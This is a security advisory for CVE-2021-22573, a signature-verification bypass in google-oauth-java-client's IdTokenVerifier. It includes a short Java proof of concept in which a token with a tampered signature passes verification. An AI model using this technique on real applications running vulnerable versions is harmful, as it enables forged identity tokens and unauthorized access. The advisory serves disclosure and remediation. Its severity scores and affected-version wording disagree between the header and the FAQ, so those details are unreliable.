high
8.7
CWE
347
Advisory Published
CVE Published
Advisory Published
Updated

CVE-2021-22573: Incorrect signature verification on Google-oauth-java-client

First published: Tue May 03 2022(Updated: )

### Summary The vulnerability impacts only users of the `IdTokenVerifier` class. The verify method in `IdTokenVerifier` does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else. An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application. If the application sends verified `IdToken` to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request. Reporter: [Tamjid al Rahat](https://github.com/tamjidrahat), contributor ### Patches The issue was fixed in the 1.33.3 version of the library ### Proof of Concept To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function. ``` /** A default http transport factory for testing */ static class DefaultHttpTransportFactory implements HttpTransportFactory { public HttpTransport create() { return new NetHttpTransport(); } } // The below token has some modified bits in the signature private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" + "VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" + "NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" + "Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" + "FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" + "QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" + "QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" + "ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg"; IdTokenVerifier tokenVerifier = new IdTokenVerifier.Builder() .setClock(clock) .setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com") .setHttpTransportFactory(new DefaultHttpTransportFactory()) .build(); // verification will return true despite modified signature for versions <1.33.3 tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE)); ``` ### Remediation and Mitigation Update to the version 1.33.3 or higher If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: [google-auth-library-java](https://github.com/googleapis/google-auth-library-java/blob/main/oauth2_http/java/com/google/auth/oauth2/TokenVerifier.java) [google-api-java-client](https://github.com/googleapis/google-api-java-client/blob/main/google-api-client/src/main/java/com/google/api/client/googleapis/auth/oauth2/GoogleIdTokenVerifier.java) ### Timeline Date reported: 12 Dec 2021 Date fixed: 13 Apr 2022 Date disclosed: 2 May 2022 ### For more information If you have any questions or comments about this advisory: * Open an issue in the [google-oauth-java-client](https://github.com/googleapis/google-oauth-java-client) repo

Credit: cve-coordination@google.com cve-coordination@google.com

Affected SoftwareAffected VersionHow to fix
Google Oauth Client Library For Java<1.33.3
redhat/google-oauth-java-client<1.33.3
1.33.3
maven/com.google.oauth-client:google-oauth-client>=1.16.0-rc<1.33.3
1.33.3

Remedy

https://github.com/googleapis/google-oauth-java-client/pull/872

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Parent vulnerabilities

(Appears in the following advisories)

Frequently Asked Questions

  • What is the vulnerability ID of this flaw?

    The vulnerability ID of this flaw is CVE-2021-22573.

  • What is the severity of CVE-2021-22573?

    The severity of CVE-2021-22573 is high with a CVSS score of 7.3.

  • What is the affected software of CVE-2021-22573?

    The affected software of CVE-2021-22573 is Google OAuth Java client version up to 1.33.3.

  • How does the vulnerability manifest?

    The vulnerability manifests as the IDToken verifier in Google OAuth Java client not verifying if a token is properly signed.

  • What can an attacker do with this vulnerability?

    An attacker can provide a compromised token with a custom payload, which will pass the validation and potentially lead to unauthorized access or other malicious activities.

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